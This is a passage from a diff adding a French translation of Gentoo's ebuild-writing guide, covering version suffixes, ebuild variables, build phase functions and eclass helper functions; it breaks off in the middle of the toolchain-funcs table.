+C'est très important d'avoir des noms de version représentant fidèlement la
+version du paquet, afin que Portage puisse vérifier correctement les
+dépendances entre les paquets.
+</impo>
+
+<p>
+La troisième sous-section, <c>{_suf{#}}</c>, est optionnelle et peut contenir
+un suffixe pré-défini parmi ceux listés (du plus vieux au plus récent)
+ci-dessous&nbsp;:
+</p>
+
+<table>
+  <tr><th>Suffixe</th>
+  <th>Sens</th>
+</tr>
+<tr>
+  <ti><c>_alpha</c></ti>
+  <ti>Sortie de type Alpha</ti>
+</tr>
+<tr>
+  <ti><c>_beta</c></ti>
+  <ti>Sortie de type Beta</ti>
+</tr>
+<tr>
+  <ti><c>_pre</c></ti>
+  <ti>Pré-sortie</ti>
+</tr>
+<tr>
+  <ti><c>_rc</c></ti>
+  <ti>Candidat à la sortie</ti>
+</tr>
+<tr>
+  <ti>(aucun)</ti>
+  <ti>Sortie officielle</ti>
+</tr>
+<tr>
+  <ti><c>_p</c></ti>
+  <ti>Niveau de correctif (normalement suivi d'un entier)</ti>
+</tr>
+</table>
+
+<p>
+Tous ces suffixes doivent être suivis immédiatement d'un entier positif non nul,
+comme par exemple <c>linux-2.4.0_pre10</c>. En supposant des versions
+identiques, les suffixes sont ordonnés ainsi (le premier étant le plus
+vieux)&nbsp;: <c>_alpha</c> &lt; <c>_beta</c> &lt; <c>_pre</c> &lt; <c>_rc</c>
+&lt; (aucun suffixe) &lt; <c>_p</c>.
+</p>
+
+<p>
+En comparant deux suffixes identiques avec les entiers qui les suivent, celui
+qui a le numéro le plus grand sera considéré comme plus récent. Par exemple,
+<c>foo-1.0_alpha4</c> est plus récent que <c>foo-1.0_alpha3</c>.
+</p>
+
+<p>
+La quatrième sous-section dans le nom du paquet est le numéro de révision
+spécifique à Gentoo Linux (<c>{-r#}</c>). Cette sous-section comme le suffixe
+est optionnelle. <c>#</c> est un entier positif non nul, ce qui donne par
+exemple <c>paquet-4.5.3-r3</c>.
+</p>
+
+<p>
+Le numéro de révision est indépendant de la version de l'archive source et est
+utilisé pour informer les utilisateurs qu'une révision provenant de Gentoo
+Linux, pour un paquet particulier, est disponible. Les sorties initiales
+d'ebuilds ne doivent pas avoir de numéro de révision. Par exemple,
+<c>paquet-4.5.3</c> est considéré par Portage comme ayant un numéro de révision
+de zéro. Cela signifie que le décompte se fait ainsi&nbsp;: <c>1.0</c> (version
+initiale), <c>1.0-r1</c>, <c>1.0-r2</c>, etc.
+</p>
+
+<p>
+Si vous faites des améliorations non triviales dans un fichier ebuild déjà
+existant, vous devez copier le fichier ebuild dans un nouveau fichier, avec un
+numéro de révision augmenté de 1.  N'oubliez <e>jamais</e> de laisser une
+mention de vos modifications dans le fichier <path>ChangeLog</path>, vous
+pourriez avoir de sérieux problèmes si vous ne le faites pas (par exemple votre
+accès CVS pourrait être révoqué).
+</p>
+
+<p>
+Et évidemment nous avons une cinquième partie dans le nom de l'ebuild...
+l'extension <c>.ebuild</c> elle-même.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Le contenu d'un fichier ebuild</title>
+<body>
+
+<p>
+Cette partie est une introduction aux ebuilds. Pour une liste complète de toutes
+les possibilités d'un ebuild, il existe une page de manuel qui détaille le
+format interne les variables et les fonctions qu'on peut trouver dans un script
+ebuild&nbsp;:<c>man 5 ebuild</c>.
+</p>
+
+<p><b>En-têtes</b></p>
+
+<p>
+Quand vous soumettez vos ebuilds, les en-têtes doivent être strictement
+identiques au contenu du fichier <path>/usr/portage/header.txt</path>. Ne les
+modifiez en aucune façon et vérifiez bien que la ligne <c>&#36;Header:
+&#36;</c> est telle quelle.
+</p>
+
+<p>
+Les trois premières lignes doivent être identiques à&nbsp;:
+</p>
+
+<pre caption="En-tête valide">
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Header: &#36;
+</pre>
+
+<p>
+<b>Les variables</b>
+</p>
+
+<p>
+La première partie de tous les fichiers ebuild est constituée d'un certain
+nombre de variables. Elles sont placées dans trois catégories qui sont&nbsp;:
+</p>
+
+<ul>
+<li>
+  READ&nbsp;: les variables que vous pouvez utiliser, mais qui ne <e>sont
+  jamais modifées</e>&nbsp;;
+</li>
+<li>
+  MUST&nbsp;: les variables que vous devez <e>toujours déclarer</e>&nbsp;;
+</li>
+<li>
+  OPT&nbsp;: les variables que vous devriez définir.
+</li>
+</ul>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Utilisation</th>
+  <th>Description</th>
+</tr>
+
+<tr>
+  <ti><c>P</c></ti>
+  <ti>READ</ti>
+  <ti>Le nom et la version du paquet</ti>
+</tr>
+
+<tr>
+  <ti><c>PN</c></ti>
+  <ti>READ</ti>
+  <ti>Le nom du paquet</ti>
+</tr>
+
+<tr>
+  <ti><c>PV</c></ti>
+  <ti>READ</ti>
+  <ti>La version du paquet</ti>
+</tr>
+
+<tr>
+  <ti><c>PR</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Contient le numéro de révision ou <c>r0</c> si aucun numéro de
+    révision n'existe.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>PVR</c></ti>
+  <ti>READ</ti>
+  <ti>Contient le numéro de version avec la révision.</ti>
+</tr>
+
+<tr>
+  <ti><c>PF</c></ti>
+  <ti>READ</ti>
+  <ti>Contient le nom complet du paquet <c>${PN}-${PVR}</c>.</ti>
+</tr>
+
+<tr>
+  <ti><c>A</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Liste séparée par des espaces, des fichiers dans <c>SRC_URI</c>. Elle ne
+    contient pas les liens URL, juste le nom de fichier.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>DISTDIR</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Contient le nom du répertoire <path>distfiles</path> où sont mis tous
+    les fichiers récupérés pour un paquet. C'est en général
+    <path>/usr/portage/distfiles</path>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>FILESDIR</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Contient le chemin vers le sous-répertoire <path>files/</path> dans
+    l'emplacement spécifique du paquet dans l'arbre de Portage.  Ne modifiez
+    pas cette variable.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>WORKDIR</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Base de la racine de travail pour un ebuild. Rien ne doit être construit
+    hors de ce répertoire.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>S</c></ti>
+  <ti>OPT</ti>
+  <ti>
+    Le répertoire source pour votre paquet, en général <c>${WORKDIR}/${P}</c>.
+    Portage va prendre cette valeur par défaut donc vous n'avez probablement pas
+    besoin de l'initialiser.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>T</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Le répertoire temporaire pour votre paquet. Il est utilisé lors de
+    l'exécution de l'ebuild à la manière du répertoire <path>/tmp</path>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>D</c></ti>
+  <ti>READ</ti>
+  <ti>
+    Le répertoire racine où le paquet devra être installé. Considérez-le comme
+    une racine d'arborescence (<path>/</path>) virtuelle.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>SLOT</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Portage manipule souvent plusieurs versions d'un même programme installées.
+    Par exemple vous pouvez avoir GCC&nbsp;2.95 et GCC&nbsp;3.2 installés en
+    même temps sur votre machine. Vous devez alors spécifier le <c>SLOT</c>
+    dans chaque ebuild. Ici, nous prendrions pour le <c>SLOT</c> de
+    GCC&nbsp;2.95 la valeur <c>2</c> alors que nous aurions utilisé la valeur
+    <c>3</c> pour le <c>SLOT</c> de GCC&nbsp;3.2.<br/>
+    <b>Note</b>&nbsp;: utiliser <c>0</c> comme valeur du <c>SLOT</c> signifie
+    que le paquet n'a qu'un seul <c>SLOT</c> possible (en d'autres termes, ce
+    paquet n'est pas «&nbsp;SLOTable&nbsp;»).
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>LICENSE</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Cette variable spécifie la licence du programme, par exemple GPL-2, BSD,
+    etc. Ce champ doit être initialisé à une valeur de licence valide (qui peut
+    être n'importe quelle licence présente dans le répertoire
+    <path>/usr/portage/license/</path>). Si la licence n'y est pas encore
+    répertoriée, elle doit être ajoutée avant d'ajouter l'ebuild à l'arbre de
+    Portage.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>KEYWORDS</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Cette variable remplit désormais un certain nombre de rôles. Tout d'abord,
+    elle spécifie la cible de l'ebuild en matière d'architecture. Les
+    mots-clefs incluent&nbsp;: <e>x86, ppc, sparc, mips, alpha, arm, hppa,
+    amd64, ia64</e> La liste des architectures est dans le fichier
+    <path>profiles/arch.list</path>. Évidemment, vous utiliserez ceci pour
+    indiquer l'architecture de la machine cible. Portage n'autorisera pas une
+    machine x86 à construire autre chose que des ebuilds dont le mot-clef x86
+    est spécifié dans la variable <c>KEYWORDS</c>. Les paquets qui ne
+    supportent pas une architecture nativement sont automatiquement masqués par
+    Portage. Si le paramètre <c>KEYWORDS</c> est précédé d'un <e>~</e>, alors
+    cela indique que l'ebuild fonctionne, mais nécessite encore plusieurs tests
+    dans différents environnements avant d'être placé dans un profil stable
+    avec le mot-clef associé.  Si le paramètre <c>KEYWORDS</c> est précédé d'un
+    <e>-</e> (tiret), alors le paquet ne fonctionne pas pour l'architecture
+    concernée.  Si rien ne précède le <c>KEYWORDS</c> alors le paquet est
+    considéré comme stable. Vous pouvez autoriser l'installation de ces
+    différents types de paquets à travers l'utilisation de la variable
+    <c>ACCEPT_KEYWORDS</c> dans <path>make.conf</path>, ou dans le fichier
+    <path>/etc/portage/package.keywords</path>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>DESCRIPTION</c></ti>
+  <ti>MUST</ti>
+  <ti>Une <e>courte</e> et unique ligne de description de votre paquet.</ti>
+</tr>
+
+<tr>
+  <ti><c>SRC_URI</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Les URL pour chaque fichier source de votre paquet séparés d'un espace.
+    Vous devez essayer de ne pas utiliser le numéro de version du paquet dans
+    les variables SRC_URI et S. Utilisez les variables ${PV} ou ${P}. Si l'URL
+    ne correspond pas exactement ou pas du tout au nom du paquet, définissez
+    une variable ${MY_P} et utilisez-la.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>HOMEPAGE</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    La page Internet dédiée au paquet. Si vous n'arrivez pas à trouver la page
+    officielle, essayez de trouver un lien depuis le site <uri
+    link="http://freshmeat.net/">freshmeat.net</uri> ou un site de traçage de
+    paquets similaires. N'utilisez jamais de variables dans la description,
+    uniquement du text pur.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>IUSE</c></ti>
+  <ti>MUST</ti>
+  <ti>
+    Cette variable contient les paramètres <c>USE</c> que votre paquet utilise.
+    Souvenez-vous que <c>KEYWORDS</c> ne doit pas y être listé&nbsp;!
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>DEPEND</c></ti>
+  <ti>OPT</ti>
+  <ti>
+    Les dépendances de construction du paquet sont listées ici. Lire la section
+    sur les <uri link="#doc_chap5">dépendances de paquets</uri> pour plus de
+    détails sur la syntaxe.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>RDEPEND</c></ti>
+  <ti>OPT</ti>
+  <ti>
+    Les dépendances d'exécution du paquet sont listées ici. Encore une fois,
+    lisez la section sur les <uri link="#doc_chap5">dépendances de
+    paquets</uri> pour plus de détails sur la syntaxe.
+  </ti>
+</tr>
+</table>
+
+<p><b>Les fonctions</b></p>
+
+<p>
+Un certain nombre de fonctions que vous pouvez définir dans vos fichiers
+ebuilds permettent de contrôler la construction et le processus d'installation
+de votre paquet.
+</p>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Objectif</th>
+</tr>
+
+<tr>
+  <ti><c>pkg_setup</c></ti>
+  <ti>
+    Utilisez cette fonction pour effectuer n'importe quel type de tâche qui soit
+    un pré-requis à la construction. Cela inclut la vérification de l'existence
+    d'un fichier de configuration par exemple. S'il est nécessaire de créer des
+    utilisateurs ici, vous devez également faire une vérification dans la
+    fonction <c>pkg_preinst()</c> avant que le paquet ne s'installe.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>pkg_nofetch</c></ti>
+  <ti>
+    Informe l'utilisateur des actions manuelles nécessaires si pour une raison
+    ou pour une autre (comme par exemple des conditions liées à la licence) les
+    sources ne seraient pas récupérables automatiquement par Portage lors du
+    processus normal d'installation. Utilisez-le en conjonction avec
+    <c>RESTRICT="fetch"</c>. Vous pouvez uniquement afficher des messages avec
+    cette fonction, jamais d'appel à la fonction <c>die</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>src_unpack</c></ti>
+  <ti>
+    Utilisez cette fonction pour désarchiver les sources et les correctifs, et
+    pour lancer des programmes auxiliaires, comme par exemple autotools. Par
+    défaut, cette fonction désarchive les paquets listés dans <c>A</c>. Le
+    répertoire de travail initial est définit par <c>WORKDIR</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>src_compile</c></ti>
+  <ti>
+    Utilisez cette fonction pour configurer et construire le paquet. Le
+    répertoire initial de travail est <c>S</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>src_install</c></ti>
+  <ti>
+    Utilisez cette fonction pour installer le paquet dans une image dans
+    <c>D</c>. Si le paquet utilise automake, vous pouvez simplement effectuer un
+    <c>make DESTDIR=${D} install</c>. <e>Assurez-vous que votre paquet installe
+    tous ses fichiers en utilisant <c>D</c> comme racine&nbsp;!</e> Le
+    répertoire initial de travail est <c>S</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>src_test</c></ti>
+  <ti>
+    Cette fonction n'est exécutée que si vous avez initialisé la variable
+    <c>FEATURES="test"</c> et si <c>RESTRICT="test"</c> n'est pas mis.
+    La fonction par défaut exécutera une fonction de test disponible dans
+    n'importe quel fichier Makefiles dans le répertoire <c>${C}</c> en lançant
+    au choix "make test" ou "make check", selon la fonction disponible. Ce
+    comportement par défaut peut être remplacé par une fonction de test faite
+    sur mesure.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>pkg_preinst</c></ti>
+  <ti>
+    Les commandes dans cette fonction sont lancées juste <e>avant la fusion</e>
+    de l'image du paquet dans le système de fichiers.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>pkg_postinst</c></ti>
+  <ti>
+    Les commandes dans cette fonction sont lancées juste <e>après la fusion</e>
+    de votre image de paquet dans le système de fichiers.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>pkg_prerm</c></ti>
+  <ti>
+    Les commandes dans cette fonction sont lancées juste <e>avant la
+    suppression</e> d'un paquet du système de fichiers.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>pkg_postrm</c></ti>
+  <ti>
+    Les commandes dans cette fonction sont lancées juste <e>après la
+    suppression</e> d'un paquet du système de fichiers.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>pkg_config</c></ti>
+  <ti>
+    Vous utiliserez cette fonction pour mettre en œuvre une configuration
+    initiale d'un paquet après qu'il ait été installé. Toutes les chemins des
+    répertoires dans cette fonction doivent être préfixés de <c>ROOT</c> qui
+    indique le répertoire racine (il se peut que ce ne soit pas
+    <path>/</path>.) Cette fonction est <e>uniquement</e> exécutée si
+    l'utilisateur lance&nbsp;: <c>emerge --config =${PF}</c>.
+  </ti>
+</tr>
+</table>
+
+<p><b>Les fonctions utilitaires</b></p>
+
+<p>
+Vous pouvez également utiliser les fonctions suivantes dans vos ebuilds.
+</p>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Objectif</th>
+</tr>
+
+<tr>
+  <ti><c>use</c></ti>
+  <ti>
+    Vérifier si un ou plusieurs paramètres USE sont définis. Si c'est le cas,
+    la fonction retournera les paramètres qui existent dans <c>USE</c>. Cette
+    possibilité va bientôt être modifiée et <c>use</c> ne retournera rien, mais
+    <c>usev</c> continuera à retourner les paramètres. Pour vérifier
+    l'existence d'un paramètre USE, vous pouvez utiliser <c>use foobar</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>has_version</c></ti>
+  <ti>
+    Retourne 1 si le système a la version requise d'un certain paquet.
+    Utilisez-le ainsi&nbsp;: <c>has_version >=sys-libs/glibc-2.3.0</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>best_version</c></ti>
+  <ti>
+    Retourne le couple <path>categorie/paquet-version</path> d'un couple
+    <path>categorie/paquet</path> demandé. Utilisez-le ainsi&nbsp;:
+    <c>best_version x11-libs/gtk+extra</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>use_with</c></ti>
+  <ti>
+    Cette fonction vérifie si un paramètre USE a été défini et retourne
+    "--with-foobar" ou "--without-foobar" selon le cas. Si vous ne donnez qu'un
+    seul argument, cet argument sera à la fois paramètre USE et
+    with(out)-string. Sinon le premier argument sera le paramètre USE, et le
+    second sera le with(out)-string. Par exemple, <c>use_with truetype
+    freetype</c> retournera "--with-freetype" si truetype est dans les
+    paramètres <c>USE</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>use_enable</c></ti>
+  <ti>
+    Même fonction que <c>use_with</c>, mais retourne "--enable-foobar" ou
+    "--disable-foobar" selon le cas.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>check_KV</c></ti>
+  <ti>
+    Vérifie si Portage connaît la version du noyau. Si non, cette fonction
+    retourne une erreur et se termine immédiatement. Si vous avez besoin d'une
+    version de noyau dans votre script, utilisez la variable<c>KV</c> qui est
+    automatiquement définie par Portage. Sur un système utilisant
+    gentoo-sources-2.4.20-r6, <c>KV</c> devra avoir la valeur "2.4.20".
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>keepdir</c></ti>
+  <ti>
+    Crée (si besoin) un fichier <path>.keep</path> dans un répertoire donné
+    afin qu'il ne soit pas supprimé automatiquement. Ne <e>jamais</e> créer de
+    fichier <path>.keep</path> soi-même. Si Portage change le fonctionnement de
+    <c>keepdir</c>, créer un tel fichier soi-même pourrait casser le paquet.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>econf</c></ti>
+  <ti>
+    Exécute <c>./configure</c> avec les changements de répertoires nécessaires
+    (prefix, host, mandir, infodir, datadir, sysconfdir, localstatedir). Vous
+    pouvez éventuellement lui passer des arguments supplémentaires pour
+    <c>./configure</c> en les donnant lors de l'appel d'<c>econf</c> et les
+    utilisateurs peuvent également utiliser la variable <c>EXTRA_ECONF</c>
+    s'ils en ont besoin. Les options passées à configure sont passées dans
+    l'ordre inverse à celui dans lequel elles ont été données à econf. En
+    d'autres termes, le premier argument passé sera toujours remplacé par le
+    dernier.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>einstall</c></ti>
+  <ti>
+    Exécute <c>make install</c> avec les bons changements de répertoires
+    (prefix, host, mandir, infodir, datadir, sysconfdir, localstatedir). Encore
+    une fois, vous pouvez donner des arguments supplémentaires à la commande
+    make en les donnant directement comme paramètres à <c>einstall</c>. Notez
+    que la méthode utilisée de manière préférentielle pour installer un paquet
+    est d'utiliser la commande <c>make install DESTDIR=${D}</c> et non
+    <c>einstall</c>. Cette commande n'est en fait qu'une alternative aux
+    fichiers make défectueux.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>die</c></ti>
+  <ti>
+    Avorte le processus en cours. Il indiquera à l'utilisateur les données
+    passées en argument. Ne pas négliger l'utilisation de message passés en
+    arguments à <c>die</c> si vous faites plusieurs appels à <c>die</c> dans
+    une même fonction par exemple. Si vous n'en utilisez pas, il sera plus dur
+    de rechercher une erreur, car vous ne pourrez pas être sûr de savoir
+    <e>où</e> le paquet a échoué.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>einfo</c></ti>
+  <ti>
+    Informe l'utilisateur d'un événement important. L'argument passé à
+    <c>einfo</c> est le message qui sera donné à l'utilisateur. N'utilisez pas
+    <c>einfo</c> pour afficher des bannières comme
+    "*************************************". Le fait même d'utiliser
+    <c>einfo</c> est suffisant pour attirer l'attention de l'utilisateur.
+  </ti>
+</tr>
+</table>
+
+<p><b>Fonctions utilitaires proposées par eutils.eclass</b></p>
+
+<p>
+Vous pouvez utiliser les fonctions suivantes proposées par l'eclass "eutils" de
+vos ebuilds. Vous devez vous assurer que <c>inherit eutils</c> est présent dans
+votre ebuild pour pouvoir utiliser ces fonctions.
+</p>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Objectif</th>
+</tr>
+<tr>
+  <ti><c>epatch</c></ti>
+  <ti>
+    Cette fonction ressemble un peu à la commande <c>patch</c> mais a
+    l'avantage de fonctionner avec des correctifs aux formats .bz2, .gz, .zip
+    et fichiers texte. Vous n'avez pas besoin de lui spécifier une option "-p",
+    toutes les options qui ont besoin d'être passées de manière explicite à la
+    fonction doivent être mises dans <c>EPATCH_OPTS</c>. La fonction prend pour
+    argument soit un fichier, soit un répertoire. Si vous lui donnez un
+    répertoire, tous les correctifs de la forme «&nbsp;??_${ARCH}_...&nbsp;»
+    seront appliqués.  Pour qu'un correctif soit appliqué, il doit correspondre
+    à l'architecture spécifiée ou avoir «&nbsp;_all_&nbsp;» dans son nom (pour
+    toutes les supporter) ou initialiser <c>EPATCH_FORCE</c> à "yes".
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>gen_usr_ldscript</c></ti>
+  <ti>
+    Cette fonction génère des scripts de liens dans <path>/usr/lib</path> pour
+    les bibliothèques dynamiques dans <path>/lib</path>. Cela résoud les
+    problèmes de liens lorsqu'un .so est dans <path>/lib</path> alors qu'un .a
+    est dans <path>/usr/lib</path>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>edos2unix</c></ti>
+  <ti>
+    Cette fonction effectue la même tâche que le binaire <c>dos2unix</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>egetent</c></ti>
+  <ti>
+    egetent est une abstraction de <c>getent</c> sous Linux ou <c>nidump</c>
+    sous Mac OS X.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>enewuser</c></ti>
+  <ti>
+    Crée un nouvel utilisateur. Cette fonction prend pour argument obligatoire
+    le nom d'utilisateur et un certain nombre d'arguments optionnels peuvent
+    lui être spécifiés&nbsp;: <c>$2</c> contient un UID. Mettre -1 pour que
+    l'UID prenne le prochain ID disponible. <c>$3</c> contient un shell avec
+    <path>/bin/false</path> comme shell par défaut. <c>$4</c> contient le
+    répertoire utilisateur avec <path>/dev/null</path> comme répertoire par
+    défaut. <c>$5</c> contient tous les groupes auquel l'utilisateur doit être
+    ajouté, vide par défaut et <c>$6</c> contient les éventuels paramètres à
+    passer à la commande <c>useradd</c> lors de la création de l'utilisateur.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>enewgroup</c></ti>
+  <ti>
+    Ajoute un nouveau groupe. Cette fonction prend pour paramètre obligatoire
+    le nom du groupe et comme paramètre optionnel le GID souhaité pour ce
+    groupe.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>make_desktop_entry</c></ti>
+  <ti>
+    Crée une entrée de bureau&nbsp;: le premier argument contient le répertoire
+    qui mène au binaire. De manière optionnelle, le second argument contient le
+    nom pour l'icône, par défaut <c>${PN}</c>&nbsp;; le troisième argument
+    peut contenir le chemin vers une icône relatif à
+    <path>/usr/share/pixmaps</path> ou en donnant le chemin complet à partir de
+    la racine, par défaut, <c>${PN}</c>.png&nbsp;; le quatrième peut contenir
+    une <uri link="http://www.freedesktop.org/standards/menu-spec/">catégorie
+    d'application</uri> et enfin le cinquième argument (optionnel) contient le
+    chemin de lancement de l'application.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>check_license</c></ti>
+  <ti>
+    Affiche une licence que l'utilisateur devra accepter. Si aucun argument
+    n'est donné à la fonction, la licence spécifiée sera celle donnée par
+    <c>${LICENSE}</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>unpack_pdv</c></ti>
+  <ti>
+    Désarchive une archive générée avec pdv. Le premier argument doit contenir
+    le fichier à désarchiver et le second devrait contenir «&nbsp;off_t&nbsp;»
+    qui doit être généré manuellement&nbsp;: <c>strace -elseek${file}</c> et
+    pour obtenir quelque chose du genre «&nbsp;lseek(3, -4, SEEK_END)&nbsp;»
+    vous devriez lui passer comme valeur «&nbsp;4&nbsp;».
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>unpack_makeself</c></ti>
+  <ti>
+    Désarchive une archive créée avec makeself. L'argument nécessaire sera le
+    nom du fichier à désarchiver.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>cdrom_get_cds</c></ti>
+  <ti>
+    Essaie d'obtenir un CD qui possède les fichiers spécifiés en argument et
+    qui est monté sur <c>${CDROM_ROOT}</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>cdrom_load_next_cd</c></ti>
+  <ti>
+    Charge le CD suivant une fois que vous en avez fini avec le premier CD. Si
+    la fonction est lancée, <c>${CDROM_ROOT}</c> devra pointer vers le CD
+    suivant.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>strip-linguas</c></ti>
+  <ti>
+    Cette fonction s'assure que <e>LINGUAS</e> contient uniquement les langues
+    que le paquet peut supporter spécifées en arguments à la fonction. Si le
+    premier argument est -i, alors la liste des fichiers .po dans les
+    répertoires spécifiés est construite et la conjonction des deux listes
+    présentes est utilisée. Si -u est passé en premier argument, alors la liste
+    des fichiers .po des répertoires spécifiés est construite et l'union des
+    listes est utilisée.
+  </ti>
+</tr>
+</table>
+
+<p><b>Fonctions utilitaires proposées par flag-o-matic.eclass</b></p>
+
+<p>
+Vous pouvez utiliser les fonctions suivantes proposées par l'eclass
+«&nbsp;flag-o-matic&nbsp;» dans vos ebuilds. Vous devez vous assurer que
+<c>inherit flag-o-matic</c> est présent pour que ces fonctions puissent
+fonctionner. Vous ne devez pas modifier les configurations des compilateurs
+directement, à la place, utilisez flag-o-matic pour effectuer toutes les
+actions, comme par exemple filtrer les paramètres qui posent problèmes.
+</p>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Objectif</th>
+</tr>
+
+<tr>
+  <ti><c>filter-flags</c></ti>
+  <ti>
+    Cette fonction supprime un paramètre particulier de <c>C[XX]FLAGS</c>. Seuls
+    les paramètres complets sont vérifiés.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>append-flags</c></ti>
+  <ti>
+    Cette fonction ajoute un paramètre supplémentaire à ceux définis dans les
+    variables <c>C[XX]FLAGS</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>replace-flags</c></ti>
+  <ti>
+    Cette fonction remplace un paramètre spécifié en premier argument par un
+    autre donné en second argument, dans les variables actuelles de
+    <c>C[XX]FLAGS</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>replace-cpu-flags</c></ti>
+  <ti>
+    Remplace tous les paramètres -march=... ou -mcpu=... qui contiennent le
+    second argument par le premier.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>strip-flags</c></ti>
+  <ti>
+    Enlève tous les paramètres sauf ceux spécifiés dans <c>ALLOWED_FLAGS</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>strip-unsupported-flags</c></ti>
+  <ti>
+    Enlève de <c>C[XX]FLAGS</c> tous les paramètres non supportés par la version
+    utilisée de GCC.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>get-flag</c></ti>
+  <ti>
+    Trouve un paramètre et retourne sa valeur.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>is-flag</c></ti>
+  <ti>
+    Retourne vrai si le paramètre est déclaré dans les variables actuelles
+    <c>C[XX]FLAGS</c>. Cette fonction ne fait que des vérifications de
+    paramètres complets.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>append-ldflags</c></ti>
+  <ti>
+    Cette fonction ajoute des paramètres supplémentaires à la variable
+    <c>LDFLAGS</c>.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>filter-ldflags</c></ti>
+  <ti>
+    Enlève les paramètres spécifiés de <c>LDFLAGS</c> et ne vérifie que les
+    paramètres complets.
+  </ti>
+</tr>
+
+<tr>
+  <ti><c>fstack-flags</c></ti>
+  <ti>
+    Utilise -fno-stack-protector, ce qui supprime -fstack-protector et
+    -fstack-protector-all.
+  </ti>
+</tr>
+</table>
+
+<p>
+Vous pouvez aussi utiliser les fonctions suivantes fournies par l'eclass
+"toolchain-funcs". Vous devez vous assurer que <c>inherit toolchain-funcs</c>
+est présent pour que ces fonctions puissent fonctionner. Ne spécifiez jamais
+d'options du compilateur ou de binutils directement, utilisez plutôt les
+fonctions de toolchain-funcs.
+</p>
+
+<p>
+Le but des fonctions ci-dessous est de permettre la compilation croisée et
+l'utilisation du compilateur icc. Elles devraient être appelées quand un paquet
+utilise directement gcc, g++, ld, ranlib ou un des outils ci-dessous. En
+général, les paquets qui utilisent les outils de configuration automatique
+détectent la compilation croisée.
+</p>
+
+<table>
+<tr>
+  <th>Fonction</th>
+  <th>Objectif</th>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getAR</c>
+  </ti>
+  <ti>Retourne le nom du programme archiveur</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getAS</c>
+  </ti>
+  <ti>Retourne le nom de l'assembleur</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getCC</c>
+  </ti>
+  <ti>Retourne le nom du compilateur C</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getCXX</c>
+  </ti>
+  <ti>Retourne le nom du compilateur C++</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getLD</c>
+  </ti>
+  <ti>Retourne le nom de l'éditeur de liens</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getNM</c>
+  </ti>
